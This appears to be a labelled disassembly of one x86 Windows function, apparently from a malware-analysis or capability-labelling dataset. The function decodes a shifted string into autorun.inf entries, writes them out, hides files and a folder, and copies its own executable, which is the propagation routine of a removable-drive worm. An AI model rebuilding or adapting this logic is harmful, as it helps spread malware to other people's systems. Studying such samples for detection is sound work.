Function at 0x44fc20
Capabilities:
Copy file
Create directory
Delete file
Get file size
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x34
mov eax, dword [0x4086b4]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push edi
push 0x1e0
push 8
push eax
call ebp
mov ecx, dword [0x4086b4]
push 0x8c
push 8
push ecx
mov edi, eax
call ebp
mov edx, dword [esp + 0x48]
push edx
mov esi, eax
push 0x45
push esi
mov dword [esp + 0x24], esi
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov eax, dword [0x4086ac]
push eax
push 0x45
push esi
call dword [sym.imp.MSVCR80.dll_wcscat_s]
xor eax, eax
add esp, 0x18
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
xor esi, esi
jmp 0x44fcb0
mov ecx, dword [0x4086b4]
push 0x190
push 8
push ecx
call ebp
mov dword [esp + esi*4 + 0x1c], eax
add esi, 1
cmp esi, 9
mov word [eax], 0
jle 0x44fcb0
xor ebp, ebp
xor esi, esi
xor edx, edx
jmp 0x44fce0
movzx eax, word [ebp*2 + str.X_rqlorkZ_Lmbk:OB_V_IBOY_Bumilob:OB_V_IBOY__rqlMiv:OB_V_IBOY_pebiiYLmbkY_ljjka:OB_V_IBOY_pebiiYLmbkYAbcriq:._pebiiYBumilobY_ljjka:OB_V_IBOY_pebiiY_rqlmivY_ljjka:OB_V_IBOY]
movzx ecx, ax
add ecx, 3
cmp ecx, 0x23
je 0x44fd03
mov ecx, dword [esp + esi*4 + 0x1c]
add eax, 3
mov word [ecx + edx*2], ax
add edx, 1
jmp 0x44fd12
mov eax, dword [esp + esi*4 + 0x1c]
mov word [eax + edx*2], 0
add esi, 1
xor edx, edx
mov eax, str.X_rqlorkZ_Lmbk:OB_V_IBOY_Bumilob:OB_V_IBOY__rqlMiv:OB_V_IBOY_pebiiYLmbkY_ljjka:OB_V_IBOY_pebiiYLmbkYAbcriq:._pebiiYBumilobY_ljjka:OB_V_IBOY_pebiiY_rqlmivY_ljjka:OB_V_IBOY
add ebp, 1
lea ebx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x44fd20
sub eax, ebx
sar eax, 1
add eax, 0xffffffff
cmp ebp, eax
jbe 0x44fce0
mov ecx, dword [esp + esi*4 + 0x1c]
mov esi, edi
mov word [ecx + edx*2], 0
call fcn.004505e0
mov edx, dword [esp + 0x40]
push edi
push 0xc6
push edx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov ebx, dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0xc
xor esi, esi
test esi, esi
je 0x44fd82
cmp esi, 5
je 0x44fd82
mov eax, dword [esp + esi*4 + 0x1c]
cmp word [eax], 0
je 0x44fd82
push edi
push 0xc6
push eax
call ebx
add esp, 0xc
add esi, 1
cmp esi, 7
jle 0x44fd63
mov eax, dword [esp + 0x48]
mov ebx, dword [esp + 0x3c]
push eax
push 0xc6
push ebx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov ecx, dword [0x4085d0]
push ecx
push 0xc6
push ebx
call dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0x18
push 0
push 6
push 1
push 0
push 1
push 0x1f01ff
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
je 0x4500fe
push 0
push 0
push 4
push 0
push 1
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4505d3
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x1f6
jne 0x44fe28
call fcn.0044f000
test eax, eax
jne 0x44fe28
mov ebx, dword [esp + 0x40]
mov eax, esi
call fcn.00451280
jmp 0x45038e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push pe_nt_image_headers32
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 6
push 1
push 0
push 1
push 0x1f01ff
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov eax, dword [esp + 0x1c]
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x44fe61
sub eax, ecx
mov ecx, dword [esp + 0x1c]
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push ecx
push esi
call ebp
push 0x40726c
mov eax, 0xc6
call fcn.004531f0
mov eax, edi
add esp, 4
lea ecx, [eax + 2]
lea esp, [esp]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x44fea0
sub eax, ecx
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push edi
push esi
call ebp
mov ecx, dword [esp + 0x20]
mov eax, ecx
lea ebx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x44fec6
sub eax, ebx
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push ecx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
jmp 0x44fef0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x44fef0
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov ecx, dword [esp + 0x24]
mov eax, ecx
lea ebx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x44ff17
sub eax, ebx
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push ecx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x44ff40
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x28]
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x44ff67
sub eax, ebx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x44ff90
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov ebx, dword [esp + 0x2c]
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x44ffb7
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push ebx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x44ffe0
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x30]
mov eax, edx
lea ecx, [eax + 2]
mov dword [esp + 0x14], ecx
jmp 0x450010
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450010
sub eax, dword [esp + 0x14]
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450034
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x34]
mov eax, edx
lea ecx, [eax + 2]
mov dword [esp + 0x14], ecx
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450060
sub eax, dword [esp + 0x14]
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450084
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x38]
mov eax, edx
lea ecx, [eax + 2]
mov dword [esp + 0x14], ecx
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4500b0
sub eax, dword [esp + 0x14]
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4500d4
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x450399
mov ebx, dword [esp + 0x1c]
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450107
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push ebx
push esi
call ebp
push 0x40726c
mov eax, 0xc6
call fcn.004531f0
mov eax, edi
add esp, 4
lea ecx, [eax + 2]
lea esp, [esp]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x450140
sub eax, ecx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov ecx, dword [esp + 0x20]
mov eax, ecx
lea ebx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x450167
sub eax, ebx
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push ecx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450190
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov ecx, dword [esp + 0x24]
mov eax, ecx
lea ebx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x4501b7
sub eax, ebx
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push ecx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4501e0
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x28]
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450207
sub eax, ebx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450230
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov ebx, dword [esp + 0x2c]
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450257
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push ebx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450280
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x30]
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4502a7
sub eax, ebx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4502d0
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x34]
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4502f7
sub eax, ebx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450320
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x38]
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450347
sub eax, ebx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450370
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x2c]
mov eax, dword [esp + 0x3c]
push 7
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [esp + 0x48]
mov esi, dword [esp + 0x1c]
push ecx
push 0xc6
push esi
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov edx, dword [0x4085d4]
push edx
push 0xc6
push esi
call dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0x18
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [0x4085d8]
push eax
push 0xbc
push esi
call dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0xc
push 0
push pe_nt_image_headers32
push 1
push 0
push 1
push 0x1f01ff
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4504dd
push 0x40726c
mov eax, 0xc6
call fcn.004531f0
mov ecx, dword [0x4085dc]
mov edx, dword [esp + 0x24]
push ecx
push 0xc6
push edx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov eax, dword [0x4085e0]
mov ecx, dword [esp + 0x34]
push eax
push 0xc6
push ecx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov eax, dword [esp + 0x3c]
add esp, 0x1c
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450467
mov ecx, dword [esp + 0x20]
sub eax, edx
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push ecx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x450490
sub eax, edx
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push edi
push esi
call ebp
mov eax, dword [esp + 0x24]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4504b4
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
mov eax, dword [esp + 0x2c]
push edx
push eax
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x103
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [esp + 0x48]
push ecx
push 0xc6
push ebx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov edx, dword [0x4085e4]
mov esi, dword [sym.imp.MSVCR80.dll_wcscat_s]
push edx
push 0xc6
push ebx
call esi
mov eax, dword [esp + 0x58]
push eax
push 0xc6
push ebx
call esi
add esp, 0x24
push 0
push pe_nt_image_headers32
push 1
push 0
push 1
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call ebp
call ebp
cmp eax, 0x50
jne 0x45057b
push ebx
call fcn.0044f280
add esp, 4
test eax, eax
push esi
je 0x450573
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push pe_nt_image_headers32
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call ebp
jmp 0x450589
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x450593
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ebp, dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
jmp 0x4505a0
mov ecx, dword [esp + esi*4 + 0x1c]
mov edx, dword [0x4086b4]
push ecx
push 0
push edx
call ebp
add esi, 1
cmp esi, 9
jle 0x4505a0
mov eax, dword [0x4086b4]
push edi
push 0
push eax
call ebp
mov ecx, dword [esp + 0x18]
mov edx, dword [0x4086b4]
push ecx
push 0
push edx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret